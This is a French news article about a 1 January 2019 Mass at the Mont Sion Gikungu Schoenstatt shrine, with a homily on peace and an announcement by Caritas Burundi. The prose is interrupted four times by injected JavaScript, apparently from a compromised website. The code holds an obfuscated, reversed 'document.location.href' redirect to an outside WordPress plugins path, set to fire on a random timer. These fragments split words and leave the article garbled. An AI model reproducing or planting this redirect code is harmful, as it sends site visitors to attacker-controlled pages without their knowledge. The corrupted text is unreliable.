La solennité de Marie Mère de Dieu a été célébrée au Sanctuaire Marial de Schoenstatt Mont Sion Gikungu le mardi 1 janvier 2019, dans une messe qui a débuté 9 heures et demie.
Trois choses en même temps : la solennité de Marie Mère de Dieu, la Journée Mondiale de la Paix, et la fête du nouvel an. Accompagné par 14 autres prêtres, le Père Longin NTIRANYIBAGIRA a présidé l’eucharistie.
Il a commencé par souhaiter les meilleurs vœux du nouvel an à tous et il ajouté : « Nous commençons l’année avec la parole. Nous faisons notre pèlerinage vers le Sanctuaire de notre Dame Reine de la paix, pour demtoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander la paix et commencer l’année dédiée à la paix. Marie Mère de Dieu que nous célébrons aujourd’hui a engendré le Christ Roi de la paix. »
Dans son homélie, il a commencé par la parole de Jésus qu’on trouve dans l’Évangile de Jésus selon Saint Mathieu (Mt. 5,9) « heureux les partisans de paix ». Notre honneur, a-t-il dit, est d’être les partisans de paix. Nous devons consolider la paix et être ses partisans dans cette année.
Il a continué en disant qu’aujourd’hui de plus qu’hier, cette année de plus que les années passées, nos familles, nos pays, notre Eglise a besoin des partisans de paix.
Selon lui, la paix ne sont pas des pensées abstraites, mais le comportement, la conversion de l’âme, l’humilité et la bienveillance. Sainte Thérèse de Calcutta nous aide à comprendre d’après le célébrant, la démarche pour consolider la paix. Elle dit : « si tu crois de tout ton cœur que ce qui rassemble les gens est plus important par rapport à ce qui les différencie, la paix est là. Si tu toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donnes la valeur et la place aux autres, la paix reviendra. Si tu crois que la miséricorde a plus de valeur que la vengeance, la paix reviendra. »
« La paix est le toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}don de Dieu, mais toi et moi nous devons surveiller et contrôler le champ dans lequel le Seigneur en a semé. Que puisse Marie Mère de celui qui nous toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donne la paix intercéder pour nous. » Ainsi a-t-il terminé son homélie.
Après l’action de grâce, Abbé Jean Bosco NINTUNZE, Secrétaire Général de la Caritas Burundi, a signalé quelque chose : « l’Atelier Ecole de la Foi en collaboration avec la Caritas Burundi, l’Université du Burundi et la maison de l’UNESCO pour la culture de la paix a organisé une journée d’ouverture de l’année dédiée à la paix sous le thème « Le développement, l’autre nom de la paix comme l’avait dit le Pape Paul VI. »
Cela a été pour lui l’occasion de présenter le programme annuel de différentes activités qui se tiendront dans différents lieux.
Signalons qu’après la messe, le centre Porta-Sion de Mont Sion Gikungu a abrité les gens pour les conférences qui s’y sont tenues, dans cette même optique de la journée Mondiale de la paix.
Brigitte IRAKOZE